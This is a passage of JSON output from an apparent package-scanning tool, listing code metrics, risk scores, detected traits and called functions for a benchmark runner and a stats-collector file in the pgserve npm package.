            [
              "anonymous",
              49616
            ],
            [
              "anonymous",
              49740
            ],
            [
              "anonymous",
              49959
            ],
            [
              "main",
              50818
            ],
            [
              "anonymous",
              57210
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 29,
              "op.gt": 22,
              "op.le": 2,
              "op.lt": 31,
              "op.ne": 1,
              "op.add": 89,
              "op.div": 22,
              "op.lor": 30,
              "op.mod": 7,
              "op.mul": 33,
              "op.sub": 35,
              "op.land": 9,
              "op.lnot": 12,
              "max_depth": 29,
              "call_count": 597,
              "node_count": 16926,
              "member_count": 164,
              "max_array_len": 4,
              "op_density.eq": 0,
              "op_density.gt": 0,
              "op_density.le": 0,
              "op_density.lt": 0,
              "op_density.ne": 0,
              "op_density.add": 0.01,
              "op_density.div": 0,
              "op_density.lor": 0,
              "op_density.mod": 0,
              "op_density.mul": 0,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 2,
              "member_depth_max": 4
            },
            "file": {
              "size": 58929,
              "entropy": 5.23
            },
            "text": {
              "lines": 1521,
              "top_char": 101,
              "max_ws_run": 64,
              "digit_ratio": 0.04,
              "space_count": 11780,
              "char_entropy": 5.23,
              "unique_chars": 129,
              "top_char_null": 0,
              "escape_density": 0.02,
              "lines_over_200": 29,
              "string_density": 0.22,
              "top_char_ratio": 0.06,
              "ascii_art_lines": 4,
              "avg_line_length": 37.74,
              "invisible_chars": 1,
              "max_line_length": 353,
              "non_ascii_ratio": 0.09,
              "empty_line_ratio": 0.13,
              "hex_escape_count": 10,
              "last_line_length": 28,
              "long_token_count": 23,
              "whitespace_ratio": 0.23,
              "identifier_density": 2.05,
              "line_length_stddev": 43.68,
              "normalized_string_count": 8.54,
              "repeated_char_sequences": 201,
              "suspicious_string_ratio": 0.1,
              "suspicious_comment_ratio": 0.11,
              "suspicious_identifier_ratio": 0.05,
              "normalized_unique_identifiers": 24.03
            },
            "binds": {
              "count": 231
            },
            "binary": {
              "peak_region_bytes": 44032,
              "peak_region_entropy": 5.18
            },
            "source": {
              "class_count": 1,
              "function_count": 22
            },
            "imports": {
              "count": 9,
              "relative": 2,
              "stdlib_count": 3,
              "stdlib_ratio": 0.33,
              "relative_ratio": 0.22,
              "third_party_count": 6,
              "third_party_ratio": 0.67
            },
            "strings": {
              "sql": 20,
              "bytes": 18766,
              "count": 333,
              "shell": 13,
              "avg_length": 56.35,
              "max_length": 645,
              "path_count": 5,
              "avg_entropy": 3.32,
              "email_count": 5,
              "empty_count": 1,
              "entropy_stddev": 1.1
            },
            "comments": {
              "chars": 5403,
              "count": 130,
              "lines": 182,
              "high_entropy": 14,
              "to_code_ratio": 0.14
            },
            "functions": {
              "count": 23,
              "nested": 14,
              "density": 4.67,
              "anonymous": 49,
              "avg_params": 1.39,
              "code_ratio": 0.92,
              "max_params": 5,
              "one_liners": 44,
              "length_stddev": 44.07,
              "over_100_lines": 7,
              "avg_name_length": 12.64,
              "no_params_count": 18,
              "avg_length_lines": 19.7,
              "max_length_lines": 177,
              "min_length_lines": 1,
              "avg_nesting_depth": 0.77,
              "max_nesting_depth": 2,
              "high_entropy_names": 7,
              "single_char_params": 55,
              "avg_param_name_length": 3.76
            },
            "identifiers": {
              "count": 3122,
              "unique": 254,
              "avg_length": 7.37,
              "max_length": 25,
              "min_length": 1,
              "avg_entropy": 2.37,
              "reuse_ratio": 0.08,
              "length_stddev": 4.36,
              "has_digit_ratio": 0.02,
              "sequential_names": 12,
              "single_char_count": 12,
              "single_char_ratio": 0.05,
              "high_entropy_count": 11,
              "high_entropy_ratio": 0.04,
              "all_lowercase_ratio": 0.56,
              "all_uppercase_ratio": 0.02,
              "numeric_suffix_count": 2
            }
          }
        },
        "id": 37,
        "mol": "H₅(Db₅F₂OsPoU₂)",
        "path": "pgserve-1.1.14.tgz!!package/tests/benchmarks/runner.js",
        "pid": 0,
        "refs": [
          {
            "to": "../../src/index.js",
            "off": 365,
            "file": 25,
            "kind": "local"
          },
          {
            "to": "./vector-generator.js",
            "off": 596,
            "file": 46,
            "kind": "local"
          }
        ],
        "risk": 10,
        "sha": "b6e5e62c42b6be704f3818e4a0d08fb4191c511afb6d4ac55f8df873edafe837",
        "size": 58929,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                91,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                2870,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                3452,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory-path",
            "conf": 1.0,
            "crit": 1,
            "desc": "File is in common test directory",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::tests-path-basename",
            "conf": 1.0,
            "crit": 1,
            "desc": "Tests path basename",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-leading-promise-chain-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Leading promise-chain call at module scope",
            "spans": [
              [
                58900,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sqlite::bun-sqlite-database-open",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun SQLite database open",
            "spans": [
              [
                13575,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sqlite::bun-sqlite-import",
            "conf": 0.93,
            "crit": 3,
            "desc": "Bun SQLite import",
            "spans": [
              [
                211,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/format/locale::js-locale-formatting-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript locale-aware formatting call",
            "spans": [
              [
                8328,
                25
              ],
              [
                8428,
                26
              ],
              [
                8665,
                24
              ],
              [
                38542,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                26810,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                38425,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "spans": [
              [
                38425,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-rmSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Delete file or directory sync",
            "spans": [
              [
                15521,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-unlinkSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Deletes a file synchronously with fs.unlinkSync",
            "spans": [
              [
                13538,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                38398,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                38398,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                38398,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/reference::source-directory-literal",
            "conf": 0.85,
            "crit": 2,
            "desc": "References a source directory path",
            "spans": [
              [
                370,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "spans": [
              [
                51960,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/ui/help::script-usage-screen",
            "conf": 0.9,
            "crit": 3,
            "desc": "Script prints a CLI usage screen",
            "spans": [
              [
                51141,
                59
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-create-table",
            "conf": 0.5,
            "crit": 3,
            "desc": "SQL CREATE TABLE syntax reference",
            "spans": [
              [
                13632,
                37
              ],
              [
                17664,
                29
              ],
              [
                24531,
                25
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-drop-object",
            "conf": 0.8,
            "crit": 3,
            "desc": "DROP SQL object syntax reference",
            "spans": [
              [
                17621,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-insert",
            "conf": 0.8,
            "crit": 3,
            "desc": "Contains an SQL INSERT statement",
            "spans": [
              [
                14190,
                22
              ],
              [
                18356,
                28
              ],
              [
                25025,
                24
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-select",
            "conf": 0.6,
            "crit": 2,
            "desc": "SQL SELECT syntax reference",
            "spans": [
              [
                14627,
                22
              ],
              [
                18912,
                28
              ],
              [
                26383,
                25
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-update",
            "conf": 0.5,
            "crit": 3,
            "desc": "SQL UPDATE syntax reference",
            "spans": [
              [
                14949,
                19
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::fs-rm-recursive",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node.js fs.rm with recursive option",
            "spans": [
              [
                15523,
                28
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "spans": [
              [
                51960,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/hook/event::process-on-uncaught-exception",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node process uncaughtException handler",
            "spans": [
              [
                9821,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/hook/event::process-on-unhandled-rejection",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node process unhandledRejection handler",
            "spans": [
              [
                9649,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/ui/terminal::ansi-sgr-color-sequence",
            "conf": 0.95,
            "crit": 3,
            "desc": "Encoded ANSI terminal color control",
            "spans": [
              [
                871,
                14
              ],
              [
                891,
                13
              ],
              [
                910,
                12
              ],
              [
                928,
                15
              ],
              [
                949,
                16
              ],
              [
                971,
                14
              ],
              [
                991,
                13
              ],
              [
                1010,
                17
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory",
            "conf": 1.0,
            "crit": 2,
            "desc": "File identified as a test by path or name",
            "uses": [
              3
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::is-test",
            "conf": 0.9,
            "crit": 2,
            "desc": "Test, spec, or fixture file",
            "uses": [
              30
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-or-declaration-file",
            "conf": 0.85,
            "crit": 1,
            "desc": "File is a test or type-declaration source file",
            "uses": [
              31
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-keywords",
            "conf": 0.5,
            "crit": 3,
            "desc": "Contains several SQL statement types",
            "uses": [
              20,
              22,
              23,
              24
            ],
            "spans": [
              [
                13632,
                37
              ],
              [
                14190,
                22
              ],
              [
                14627,
                22
              ],
              [
                14949,
                19
              ],
              [
                17664,
                29
              ],
              [
                18356,
                28
              ],
              [
                18912,
                28
              ],
              [
                24531,
                25
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 38,
        "mol": "H₃(DbFOs₃)",
        "sha": "d9a188496992fe5a13b878dfce70cfbd2f02d405ab8e3b112449af9c79334a6d",
        "path": "pgserve-1.1.14.tgz!!package/src/stats-collector.js",
        "risk": 4,
        "size": 14896,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "BAnM)vrl9\u003ez^^V%at1ZlwNPybBzkP6avw*]az(4mx([olx(mMawnca7y*?Piw]zYjAa:l6A=#13asWZvdJ\u0026zDz/vpHBA}XlazCZBAbn@)wGV8aA=2JdvqE6eAaAy0wPF#nxM59ezF80qasXG=ax8\u0026(C4CXpx(mK3asH/swn(E3zGEALzeS@@efG7OBzkP6dgdgEat1Z6z/fD7v@#B6zGu{GvpKy[C4AiEBz(nfy+cYMx([2hAb](fA+frkayX=1dgdgEat1Z6y\u0026%/vwPw]qz/PS8A=SuKx\u003ewG4zxJC9B-RUoAV/jqwmWg%asXG=aw=#$Bz2S9q=cjhc$D+dvpAU^wPGyBx(n37A=br4aAhl",
            "ln": 10,
            "col": 7,
            "line": 2
          },
          {
            "b": "xLzMhA::67zZ=2odJ*q=o\u003ewfWA^n^IB75Y)3lQ/9asXHjB-qqrA==vBr8^0yvqYP#zF%zAr8^0ywO#W9A=k\u0026jwO#Qhe^-ZJfa54tfcALQq+n9yB7nS$wGUG3wmY/?v@DmaBrA\u003eAq+n8{aBsCravw*\u003ek#I5-nLRYnasyAsf*Y81od8m$arTxOrZ*v}p=YZEzyDX\u003ej%jlrCRIJ?bZTASl0#kJarTiDl}7DIrz(:\u003eqAt{FtZd$\u0026tr:(2y:Q+varTPNpGH)\u003crz(:\u003eqAt{FtZd$\u0026tr:(2xEttr3lQDAfcAS2y\u0026sun3lQDYqBK2HiV]!PCRIJ?gCS!{ed9HxsW=1TpGGO1cTp)Jlr=l4z6{\u003ewarT3Ok#6D-cTp)Jlr=l7z6{\u003ewarTMJl](CrtZd$\u0026tqF0JcObPEawCc(mnu/FiV]!PCRIJ?gC%1%ed9Hxl}H9lasyAsf*Y81z6{\u003ewarTMJq:\u003cUDasyAsf*Y7#z6{\u003ewarT0DoHH]:cTp)Jlr=fYcObPEaw2semn^5MiV]!PCRIJ?h/f]HEld=yfe1Cnz!%ujaARpqwPIK6y?dPfw]zYjAb](fA+frkayX=1B0a[ewfu57y\u0026%rgasIhuA:@V#Byw/[aA7\u003cmzddVr3s!0(B95K7nk.(Pnkz]EuSPJ\u003ep9qXxfFkmBao",
            "ln": 336,
            "col": 36,
            "line": 9
          },
          {
            "b": "y\u00260M?v@0ihxK#67wmoK)vSbW}wft@nz/x+8arR^Rfa5*Av@DmaBAhIlBz(gFz/x/jz/fRsjS]91diJ%AarR^Hfe1CCwPI*4v@#=mpetj:pFsLZaz2ClaA?glasH]BBz#pZfe4iYeN@Znz/NEGA+v3FB97\u0026dwmoH?dgdguarU=tx(+[rzEE0\u003cwN(]DaAhvtv}x.5e]#bBz/{dOx(^lMsS/4rar+YAz!0v1B1R3wB$MJ=uQEQ.pF%mYarR^Hfe1CowObv[y\u0026*^PB0bHmw].E7xDQ]9AV/ylvqEJqx(dA7w[tK\u0026asItLvpS}3z!rPxaztF4xK#iblR{=9C5[^rA+fr9wPw]7vrt{b3lQDlaARphB1RF",
            "ln": 1233,
            "col": 47,
            "line": 43
          },
          {
            "b": "B97\u0026jB5l)}C4\u003eF#AV^H/z/x/jz/fRGB97\u0026jB5l)}C4\u003eF#AYTQJarR!GxLzJuBzkP6AV^H/zGP=ii%)8MarU=tx(+[qx(!lfvr\u003eKXzE)(ijS(Bu3lQDlaARphB1RoqB97u5vruMkjS[S+y?#fuarR^HBzbxfe]#byA=+n{zdK?MavGTWwId\u003esCpj[43lQDlaARphA@",
            "ln": 1583,
            "col": 10,
            "line": 50
          },
          {
            "b": "vQS+ZaA}HgzxJE#B7/33vrb)3B98ttA%:3jEf{r7atkh]3lQDldJ?VivrcDjBzbkdwmoK)vSbW}wft]7w].E7xDRbfz/u4aarSc!3lQEjByxiic[co=3lQDlazCBgc)rXCx(+[rzEE0\u003cwN)kjDKp(rarR^Hv@Dmaz!@#qy\u0026r@mcTfI\u003evruMkl$7dIvSbW}wftz%B75J]wN(]naz#aneMtXLaz2Clx(XcfzdNQbt{?6.3lQDlarR!EwPS6nzAwgFarR!P3jm)#arSr\u003cav{iSwGUG9A=Vetay]Rnx(mMawmoK)vSbW}wftz%B8U@7C)UVparUSzz!0v1B1RJQwn=Qje{ztIBy=\u003c^pe:.pnj=iruQE*\u003eq+{pui%(rqarR^WfcA\u00267x([5$y-)+fzE^s03lQDlaARphB1RGAzE^s0c[dj+3lQDlatkw\u003cq/(C*BrCQnw].E7xDRzhzdN.{arR^HBzbxfe{7/AwPw[RaAIaonP5SYA=$(cc[3I!jW70gxLzJuA+fc0wPxgFefG4Fx(+[EwOb%]B7!c.By/GovqEwO3jm)#arSr\u003cav]{UwnC*1By/Gfx(mu}aAz4mx)Ks$arR^HAb](bwPI]BB97@hB-YlO",
            "ln": 1782,
            "col": 51,
            "line": 55
          },
          {
            "b": "m]R]Po^0\u003e+wGUU{zE^M{wftubaARpdaz\u003eL3zxJ[sz!0v1B0b7kAV/1nvpJ\u003eXB.\u0026gwxMXAcz*c7aarR^HAb](bwPI]Bz/c%JwQ4{hcOcw*diH=qaBsCrarR^HazCBgd0fcpB1R3wvpB4:wgnTF3lQDlarR^HaAhvtv}x.5e]#bBz/{dOCxdztwHG\u0026tq+nPunkAq]lSE2.pF@S63lQDlarR!P3lQDlaBLX23lQEt3jm)#fdFBUarR^Rax9x2A3fmowGUI(A@",
            "ln": 2388,
            "col": 23,
            "line": 80
          },
          {
            "b": "zE)(ic#0Ney\u0026%o5zF78fwP}%8zE)(iCwhejx(k5mwN/*@z/fRB3lQDlay/tcB95KDz//A7oLFxQB09Q*z/{evB-YlSAbolgc)@nqcN*V:wO#d5xGDLdarR^Hfe1Cny?m3}aAhvjC4\u003e(qB0byzBz#wAayPd#aAz47A::e0arR^Hx\u003ewFoBzbxfe[wWqAbn%doLFxQB09T?fEXb\u003e3lQDlarR!CA=kD0B8@%PByYrjBs}=Tx()]mk#7uIe\u003e]bxmpf4\u003e",
            "ln": 3707,
            "col": 23,
            "line": 137
          },
          {
            "b": "djEs=arR^HEf{r7arR^WfcBtpx()]ewNP7Zaz++fwGVhhBz8!by?m3}3lQDlazbLjasH-rzGx[xy?W=#aA7\u003cmz/{evB-YlSAbolgc)@nqcN*F!DKp(rarR^HAb](bwPI]BB97@hB-YlWA+PSbc{ZQbnIiw7ml%*UoI4#Fas!NJx(mG8d\u003cciAzyl\u003e{3lP",
            "ln": 3929,
            "col": 58,
            "line": 142
          },
          {
            "b": "3lQDlaz++fwPGFyB-RjABzbxfe]$PlBzkVhc)}}ZqDuj:cOcxA3lQDlarR!mbZR*Lq+nPfnLKR4zE^Z8x(n2NbZR*Lq+nPtmn(SOEioUKz/Z2kA+friy=Tj5bZTPOvruMyB7GxnwPy0/xM4%laBFLVcOWwne?![ie?[-4iWx5[Byxoje]$PAC4CXUe]U-HBrC%Uauhhlgjp/rwmv-ged9HxarR^Hu)H7+pe:.pl}Ha3o(BMNiWx5rpe:.pqBKIMrdb(iarR^HbZTxDwmXCyvR6w7u[qTcarR^HayDEwk#7uIe\u003c@o9En$ldx(dAxbZR*Lq+nPtmn(R",
            "ln": 4657,
            "col": 1,
            "line": 171
          },
          {
            "b": "g:40XA+/lbB0bgmy?W=#3lQDlarR^HazbLjasH-rzGx[xtwmR0aA})jaA7\u003cmCw?IqwPyjSBAh8bB1RJIx\u003e7Z5fF1t6djDx^3lQDlarR^HarR!Jz/PS8A.Hg+wPGFyB-RjAu)3NqDQgz9nIiz5o){8YA+/lbas8qFwplG:DQgz9nIi[fq:\u003cVlas8qTB1Q%vzF\u003c2}BzkVhB0b\u003cTatwi^v@Dm5asH5Tl)9+4CxkxQx\u003ehSvu[1eAarR^HarR^HEf}8tarR^HarUxgasICLA+/lbmq^i/x\u003equry?mG%Bz8^Xat+I\u0026DKp(rarR^HarQ",
            "ln": 6129,
            "col": 23,
            "line": 202
          },
          {
            "b": "xDPA2at\u003eO\u003cDKp(rarR^HarUSooLFxQB1RAOB7=$farR}Rk#7uIe\u003c@o9Ei:e9pe:.pqBKIMrdb(mDT{Pbe]2rszyu\u003e-aswQ^u[1eAarR^HarV7PwO=B0azCBgc$D!de]k9pxlm/fj%hZiaBsCrarR^HarR!Cxh02SwPGFyB-RjAu)3NqDQgz9nIiz5o)[plk#7uIe(Cbpmo1WTbZT6hB1RJIx\u003e7Z5fF1t7dk2vNx(ksDefDq?Ei:e9pe:.pl}Ha3e?O+0c[uM\u0026wmxQjy?mG%Bz8^Gat[M@bZR*Lq+nPtmn(SOEpaG=3lQDlarR!P3jm)#arR^Hy?W=#B1RAOB7=$zxLzJu",
            "ln": 6970,
            "col": 38,
            "line": 224
          },
          {
            "b": "BzkVhB2\u003eN[k#7uIe(Cbpmo1Xydlv\u003eVarR^HarR!sz/M%Gv@DmaBrCa6aA7\u003cmB97\u0026jB1RfABy/GgvqH0qwmoN*vQTs?B1RJIx\u003e7Z5fF1t5djDx^3lQDlarR^HarR^WfcBnowGTrNxgV#.azbLjaAhvjv}*0#z/cXozxJRbxj@(sA:-M(x\u003e5obD2[7szf3*Fp\u0026yz%xl4MZqa@9MwPS6nzGu{WeN\u0026#",
            "ln": 7769,
            "col": 52,
            "line": 244
          },
          {
            "b": "arR^Hfe1Cnp/OSXB75Y)3lQDlazCBgd06GsBAo6NA=kD0B8%L#v@MMkaW4$hB-7-3w[=c]wgnTF3lQDlarR!pz/fSray/wkp?aO\u0026jS[//vruMyAb](bwPI]Bv@MML3lQDlarR!EwPI^jA:@VOx(mH6e]U@OxEEmlDQgz9nIiz5o)]x9rxqyLk#7uIe(Cbpmf",
            "ln": 9384,
            "col": 1,
            "line": 286
          },
          {
            "b": "3lQDlaBKO7arR^Hfe1Cqz/o-eATA{iarUGmzE)(wAclknc$1rEk#7uIe\u003c@o9En16\u003cBrCZBwmoN\u003eiV]X{zE[2ml$7gGc[c=\u003cz+L7VvqGHOx(dAWBAh8kxdbiSaBCqfwOb%]B7^PSbZTSDx(+[EwOb%]B7!c.By/GovqE5tatCM7fNX0+D(#mawPI]nlV^u+d)\u003eC3zY\u0026Rox(\u003eREk#7uIe(Cbpmo1Xydlv\u003ezarR^HA+funA=91ox(mH6e]2rszyu(qzyl\u003e{3lQEt3jm)#fdFBUarR^Raw#=*wmY^7xK$Q.wPw]5vr8X$arSc!3lQE8wNPaXAZBhPd0GxoBz99CDKp(rarUfjzGx[xBzk\u0026kwGTbUcM)wvB7GxnwGV5ovruMkcP.UTarR!pz/fSraAg+1wnb{]auZ\u0026wvrufnzddU",
            "ln": 10639,
            "col": 22,
            "line": 317
          },
          {
            "b": "vrc0(az#ssvR6O3aA}KwxDQ/6zeAZ53lQDldLzbKazbLjzddJYB.$P0AWU*Fz7cPO3lQDlaAz4nB-IvxzGP!GBz\u003c\u0026\u003ev{%g+q/)4]zF7vDi%)8MEf$xf",
            "ln": 13128,
            "col": 14,
            "line": 396
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "Date.now"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "process.stdout.write"
            ],
            [
              "",
              "setInterval"
            ],
            [
              "",
              "process.stdout.on"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "process.stdout.write"
            ],
            [
              "",
              "clearInterval"
            ],
            [
              "",
              "process.stdout.write"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "output.split"
            ],
            [
              "",
              "process.stdout.write"
            ],
            [
              "",
              "ANSI.MOVE_UP"
            ],
            [
              "",
              "output.split"
            ],
            [
              "",
              "process.stdout.write"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "connLines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "Object.keys"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "workerEntries.slice"
            ],
            [
              "",
              "workerLines.push"
            ],
            [
              "",
              "workerLines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "pgLines.push"
            ],
            [
              "",
              "dbs.join"
            ],
            [
              "",
              "pgLines.push"
            ],
            [
              "",
              "dbs.slice.join"
            ],
            [
              "",
              "dbs.slice"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "intLines.push"
            ],
            [
              "",
              "intLines.push"
            ],
            [
              "",
              "stats.internals.databases.slice"
            ],
            [
              "",
              "BigInt"
            ],
            [
              "",
              "BigInt"
            ],
            [
              "",
              "Number"
            ],
            [
              "",
              "intLines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "vecLines.push"
            ],
            [
              "",
              "vecLines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "resourceLines.push"
            ],
            [
              "",
              "cpuPct.toFixed"
            ],
            [
              "",
              "resourceLines.push"
            ],
            [
              "",
              "resourceLines.push"
            ],
            [
              "",
              "io.readMBps.toFixed"
            ],
            [
              "",
              "io.writeMBps.toFixed"
            ],
            [
              "",
              "io.readIOPS.toFixed"
            ],
            [
              "",
              "io.writeIOPS.toFixed"
            ],
            [
              "",
              "resourceLines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "lines.push"
            ],
            [
              "",
              "Date.toLocaleTimeString"
            ],
            [
              "",
              "Date"
            ],
            [
              "",
              "lines.join"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "contentLines.map"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "Number"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "Number"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "filledChar.repeat"
            ],
            [
              "",
              "emptyChar.repeat"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "num.toLocaleString"
            ]
          ],
          "mbr": [
            "ANSI.BOLD",
            "ANSI.CLEAR_LINE",
            "ANSI.CYAN",
            "ANSI.DIM",
            "ANSI.GREEN",
            "ANSI.HIDE_CURSOR",
            "ANSI.INVERSE",
            "ANSI.MOVE_UP",
            "ANSI.RED",
            "ANSI.RESET",
            "ANSI.SHOW_CURSOR",
            "ANSI.YELLOW",
            "Date.now",
            "Date.toLocaleTimeString",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Math.round",
            "Object.entries",
            "Object.keys",
            "Object.keys.length",
            "a.active_queries",
            "a.idle_connections",
            "a.total_connections",
            "connLines.push",
            "console.error",
            "console.log",
            "contentLines.map",
            "cpuPct.toFixed",
            "db.blks_hit",
            "db.blks_read",
            "db.datname",
            "db.numbackends",
            "dbs.join",
            "dbs.length",
            "dbs.slice",
            "dbs.slice.join",
            "emptyChar.repeat",
            "err.message",
            "filledChar.repeat",
            "intLines.length",
            "intLines.push",
            "io.readIOPS",
            "io.readIOPS.toFixed",
            "io.readMBps",
            "io.readMBps.toFixed",
            "io.writeIOPS",
            "io.writeIOPS.toFixed",
            "io.writeMBps",
            "io.writeMBps.toFixed",
            "lines.join",
            "lines.push",
            "mem.rss",
            "num.toLocaleString",
            "options.onStop",
            "options.refreshInterval",
            "options.statsProvider",
            "output.split",
            "output.split.length",
            "pgLines.push",
            "process.env",
            "process.env.NO_COLOR",
            "process.on",
            "process.stdout",
            "process.stdout.columns",
            "process.stdout.isTTY",
            "process.stdout.on",
            "process.stdout.write",
            "resourceLines.length",
            "resourceLines.push",
            "stats.cluster",
            "stats.cluster.workerStats",
            "stats.cluster.workers",
            "stats.connections",
            "stats.connections.active",
            "stats.connections.max",
            "stats.connections.totalConnected",
            "stats.connections.totalDisconnected",
            "stats.internals",
            "stats.internals.activity",
            "stats.internals.databases",
            "stats.internals.databases.length",
            "stats.internals.databases.slice",
            "stats.pgvector",
            "stats.pgvector.databases",
            "stats.pgvector.dimensions",
            "stats.pgvector.enabled",
            "stats.pgvector.tableCount",
            "stats.pgvector.totalRows",
            "stats.postgres",
            "stats.postgres.databases",
            "stats.postgres.databases.length",
            "stats.postgres.port",
            "stats.process",
            "stats.process.cpu",
            "stats.process.memory",
            "stats.server",
            "stats.server.host",
            "stats.server.memoryMode",
            "stats.server.port",
            "stats.server.useRam",
            "stats.system",
            "stats.system.diskIO",
            "stats.system.loadAvg",
            "stats.uptime",
            "title.length",
            "vecLines.push",
            "workerEntries.length",
            "workerEntries.slice",
            "workerLines.push",
            "ws.connections",
            "ws.pid"
          ],
          "tgt": [
            "ANSI.MOVE_UP",
            "BigInt",
            "Date",
            "Date.now",
            "Date.toLocaleTimeString",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Math.round",
            "Number",
            "Object.entries",
            "Object.keys",
            "clearInterval",
            "connLines.push",
            "console.error",
            "console.log",
            "contentLines.map",
            "cpuPct.toFixed",
            "dbs.join",
            "dbs.slice",
            "dbs.slice.join",
            "emptyChar.repeat",
            "filledChar.repeat",
